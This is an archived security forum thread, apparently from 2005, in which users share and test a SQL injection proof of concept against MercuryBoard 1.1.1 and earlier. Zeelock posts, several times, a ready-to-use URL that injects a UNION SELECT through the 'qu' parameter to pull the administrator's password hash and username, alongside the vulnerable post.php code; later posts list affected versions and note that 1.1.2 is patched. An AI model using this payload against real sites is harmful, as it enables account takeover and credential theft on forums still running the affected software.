Waraxe IT Security Portal
Login or Register
October 20, 2026
Menu
Home
Logout
Discussions
Forums
Members List
IRC chat
Tools
Base64 coder
MD5 hash
CRC32 checksum
ROT13 coder
SHA-1 hash
URL-decoder
Sql Char Encoder
Affiliates
y3dips ITsec
Md5 Cracker
User Manuals
AlbumNow
Content
Content
Sections
FAQ
Top
Info
Feedback
Recommend Us
Search
Journal
Your Account
User Info
Welcome, Anonymous
Nickname
Password
(Register)

Membership:
Latest: MichaelSnaRe
New Today: 0
New Yesterday: 0
Overall: 9144

People Online:
Visitors: 223
Members: 0
Total: 223
Full disclosure
VestaCP <= 0.9.8-26: authenticated config-parser eval sinks ->root RCE (VESTACP-2026-001)
[SYSS-2026-080]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-079]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-078]: dcm4che - Path Traversal (CWE-22)
[SYSS-2026-077]: dcm4che - Path Traversal (CWE-22)
[0day-rubbish] Synametrics Syncrify 6.2 build 1178 authenticated PublicLink chunk-upload path traversal to /etc/cron.d and root command execution (7.5)
[0day-rubbish] South River Technologies Titan MFT Server 26.0.0 first-run administrator setup chained to job post-command injection, NT AUTHORITY\SYSTEM (8.1)
[0day-rubbish] SmartBear Collaborator Server 15.1.15101 authenticated DOORS/Simulink review-file upload zip-slip to anonymous webroot Groovy Server Page execution as uid 1001 (7.5)
[0day-rubbish] PacsOne Server 7.3.9 authenticated DICOMweb STOW-RS SOP Instance UID path traversal to www-data code execution on a PACS host (7.2)
[0day-rubbish] Maian Pal 2.1 product image upload with no extension allow-list to PHP webshell and www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Maian Guardian 2.1 license generator projid command injection to www-data uid 33 code execution (7.2, PR:H)
[0day-rubbish] Dataedo Portal 26.2.8 with Dataedo Agent 26.2.8 unrestricted scheduler job-type deserialization to Agent-host command execution (8.1)
[0day-rubbish] CloudPanel 2.5.4-3 site-settings rootDirectory nginx virtual-host injection to host root code execution (8.8)
[0day-rubbish] Auerswald COMmander 6000 / 6000R 8.6D unauthenticated provisioning import zip-slip to root binary hijack and root code execution (9.8)
[0day-rubbish] Abyss Web Server X1 2.16.22.0 first-run console credential takeover to configuration-write log-as-CGI command execution (7.5)
Log in Register Forum FAQ Memberlist Search
IT Security and Insecurity Portal

www.waraxe.us Forum Index -> Sql injection -> Critical Sql injection in Mercuryboard <= 1.1.1
Post new topicReply to topic View previous topic :: View next topic
Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 08, 2005 10:22 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




I saw that the released exploits didn't work.

This proof of concept do the job:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

The problem of previous exploit on the 't' variable was that the single value was used in multiple queries.

The one i found is on this piece of code in post.php:


--------[ Mercury 1.1.1 original code ]--------------

if (($s == 'reply') && isset($this->get['qu'])) {

$query = $this->db->fetch("SELECT p.post_text, m.user_name FROM {

$this->pre}posts p, {$this->pre}users m WHERE p.post_id={

$this->get['qu']} AND p.post_author=m.user_id");

--------[/Mercury 1.1.1 original code ]--------------

the nice thing is that injecting the q value permits to see data directly on the form metween quotes.

Notes:

Version 1.1.2 is already patched against this.

Zeelock

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
Re: Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Wed Feb 09, 2005 8:08 am Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




Zeelock wrote:
I saw that the released exploits didn't work.

This proof of concept do the job:

http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*

The problem of previous exploit on the 't' variable was that the single value was used in multiple queries.

The one i found is on this piece of code in post.php:


--------[ Mercury 1.1.1 original code ]--------------

if (($s == 'reply') && isset($this->get['qu'])) {

$query = $this->db->fetch("SELECT p.post_text, m.user_name FROM {

$this->pre}posts p, {$this->pre}users m WHERE p.post_id={

$this->get['qu']} AND p.post_author=m.user_id");

--------[/Mercury 1.1.1 original code ]--------------

the nice thing is that injecting the q value permits to see data directly on the form metween quotes.

Notes:

Version 1.1.2 is already patched against this.

Zeelock



yes men, i test all versions not work in all, this exploit is fake or not complete exploit
View user's profile Send private message Visit poster's website
wtf!!!
PostPosted: Wed Feb 09, 2005 8:32 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




Argentino...!!!

That's my improvement... it works, just try it Very Happy

With this one you see the full hash and username of the admin.


http://www.site.com/mercuryboard/index.php?a=post&s=reply&t=1&qu=10000%20UNION%20SELECT%20user_password,user_name%20from%20mb_users%20where%20user_group%20=%201%20limit%201/*


The trick is in the "qu" variable. You'll see everything in the form

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
PostPosted: Fri Feb 11, 2005 5:27 am Reply with quote
LINUX
Moderator
Moderator
Joined: May 24, 2004
Posts: 404
Location: Caiman




yes men very good work zeelock Very Happy
View user's profile Send private message Visit poster's website
Re: Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 15, 2005 5:52 am Reply with quote
Lostmon
Regular user
Regular user
Joined: Jul 24, 2004
Posts: 6
Location: spain




hello !!

i?m currenly documenting this vuln and make probes in
mercuryboard 1.0.x and 1.1.x
any of this xploits working
but is shure what can inject sql commands...

have any more proof of concept ??

Thnx

_________________
--
La curiosidad es lo que hace mover la mente
View user's profile Send private message Send e-mail Visit poster's website
Critical Sql injection in Mercuryboard <= 1.1.1
PostPosted: Tue Feb 15, 2005 12:50 pm Reply with quote
Lostmon
Regular user
Regular user
Joined: Jul 24, 2004
Posts: 6
Location: spain




Oks

After making some several probes whith some versions
this is the result

Mercuryboard 1.1.2 Not Affected
Mercuryboard 1.1.0 Affected
Mercuryboard 1.0.1 Affected
Mercuryboard 1.0.2 Affected

thnx !!!!!

_________________
--
La curiosidad es lo que hace mover la mente
View user's profile Send private message Send e-mail Visit poster's website
For more info:
PostPosted: Wed Feb 16, 2005 8:34 am Reply with quote
Zeelock
Active user
Active user
Joined: Jan 27, 2005
Posts: 29
Location: Where stars come out at night




http://www.securityfocus.com/bid/12503

http://www.securityfocus.com/archive/1/389881

_________________
If it seems to be impossible, just step up your level!
View user's profile Send private message
Critical Sql injection in Mercuryboard <= 1.1.1
www.waraxe.us Forum Index -> Sql injection
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
All times are GMT
Page 1 of 1

Post new topicReply to topic


Powered by phpBB © 2001-2008 phpBB Group



PCWizardHub - Helping you fix, build, and optimize your PC life
All logos and trademarks in this site are property of their respective owner. The comments and posts are property of their posters, all the rest (c) 2004-2024 Janek Vind "waraxe"
Page Generation: 0.026 Seconds